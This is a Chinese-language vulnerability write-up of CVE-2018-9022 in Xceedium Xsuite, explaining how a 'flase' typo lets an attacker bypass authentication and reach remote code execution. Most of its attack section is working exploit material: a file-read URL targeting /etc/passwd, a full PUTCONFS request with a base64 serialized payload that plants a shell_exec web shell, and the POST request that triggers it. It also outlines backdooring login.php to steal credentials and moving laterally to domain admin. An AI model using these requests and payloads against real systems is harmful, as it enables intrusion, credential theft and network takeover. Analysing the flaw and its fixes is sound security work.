RCE——从一个错别字到获取域管理员权限(CVE-2018-9022)
字数 944 2025-08-27 12:33:49
Xceedium Xsuite RCE漏洞分析与利用教学 (CVE-2018-9022)
漏洞概述
本教学文档详细分析Xceedium Xsuite设备中的远程代码执行漏洞(CVE-2018-9022),该漏洞源于一个拼写错误导致的认证绕过,最终可获取域管理员权限。
漏洞发现过程
1. 初始信息收集
- 发现目标运行"Powered by Xceedium Xsuite"
- 通过公开渠道发现多个已知漏洞:
- 未验证命令注入
- 反射型XSS
- 任意文件读取
- 本地权限提升
2. 任意文件读取漏洞利用
漏洞端点:
/opm/read_sessionlog.php?logFile=etc/passwd
通过此漏洞获取的关键信息:
- 发现document_root路径:
/var/www/htdocs/uag/web/ - 下载并审计了多个PHP文件源码
核心漏洞分析
1. 代码执行路径
关键函数1:linkDB()
function linkDB($db, $dbtype='', $action = "die") {
global $dbchoices, $sync_on, $members, $shared_key;
if(!$dbchoices){ $dbchoices = array("mysql", "<REDACTED>", "<REDACTED>"); }
$synccfg = file("/var/uag/config/failover.cfg");
foreach ($synccfg as $line) {
$line = trim($line);
$keyval = explode("=", $line);
$cmd ="\$param_".$keyval[0].$keyval[1];
eval($cmd); // 关键危险函数
}
}
关键函数2:putConfigs()
function putConfigs($post) {
$file = "/var/uag/config/failover.cfg";
$post = unserialize(base64_decode($post));
$err = saveconfig($file, $post);
}
调用链:
ajax_cmd.php → activeActiveCmdExec() → putConfigs()
2. 认证绕过漏洞
checkSharedKey()函数中的拼写错误:
function checkSharedKey($shared_key) {
if (strlen($shared_key) != 32) { return false; }
if (trim($shared_key) == "") { return flase; } // 拼写错误:"flase"而非"false"
// ...
}
绕过原理:
- 当提供32个空白字符(如回车、空格等)时:
strlen($shared_key) == 32→ 通过trim($shared_key) == ""→ 返回字符串"flase"- 字符串"flase"在布尔上下文中为true → 认证绕过
漏洞利用步骤
1. 写入恶意配置
构造包含恶意代码的序列化数据,base64编码后通过PUTCONFS命令写入:
/ajax_cmd.php?cmd=ACTACT&cmdtype=PUTCONFS&shared_key=%0D%0D%0D%0D%0D%0D%0D%0D%0D%0D%0D%0D%0D%0D%0D%0D%0D%0D%0D%0D%0D%0D%0D%0D%0D%0D%0D%0D%0D%0D%0D%0D&post=YTo2OntzOjExOiJyYWRpb19pZmFjZSI7czo1OiJpZmFjZSI7czoxNToiY2x1c3Rlcl9tZW1iZXJzIjthOjE6e2k6MDtzOjk6IjEyNy4wLjAuMSI7fXM6MTM6InR4X3NoYXJlZF9rZXkiO3M6MzI6IkFBQUFCQkJCQ0NDQ0RERFhYQUFBQkJCQkNDQ0NEREREIjtzOjY6InN0YXR1cyI7czozOiJPRkYiO3M6MTI6ImNsdXN0ZXJfZnFkbiI7czo1NToidGVzdC5kb21haW4iO2VjaG8gc2hlbGxfZXhlYyh1cmxkZWNvZGUoJF9QT1NUWydjJ10pKTsvLyI7czoxMDoiY2x1c3Rlcl9pcCI7czo5OiIxMjcuMC4wLjEiO30=
解码后的payload:
a:6:{
s:11:"radio_iface";s:5:"iface";
s:15:"cluster_members";a:1:{i:0;s:9:"127.0.0.1";}
s:13:"tx_shared_key";s:32:"AAAABBBBCCCCDDDXXAAABBBBCCCCDDDD";
s:6:"status";s:3:"OFF";
s:12:"cluster_fqdn";s:55:"test.domain";echo shell_exec(urldecode($_POST['c']));//";
s:10:"cluster_ip";s:9:"127.0.0.1";
}
2. 验证配置写入
使用任意文件读取验证failover.cfg是否被成功写入:
/opm/read_sessionlog.php?logFile=/var/uag/config/failover.cfg
3. 触发代码执行
通过linkDB()函数触发eval()执行恶意代码:
POST /ajax_cmd.php?cmd=get_applet_params&sess_id=1&host_id=1&task_id=1
c=whoami
后续利用
- 获取root权限:利用设备特性提升至root
- 植入后门:修改login.php窃取登录凭证
- 横向移动:利用获取的域管理员凭证控制内网
防御措施
- 修复拼写错误,确保返回正确的布尔值
- 对eval()函数的使用进行严格限制
- 对用户输入进行严格过滤和验证
- 限制配置文件的写入权限
- 更新到最新版本或应用补丁
总结
该漏洞展示了看似微小的错误(拼写错误)如何导致严重的安全问题。通过精心构造的输入,攻击者可以绕过认证并将恶意代码写入配置文件,最终通过eval()函数实现远程代码执行。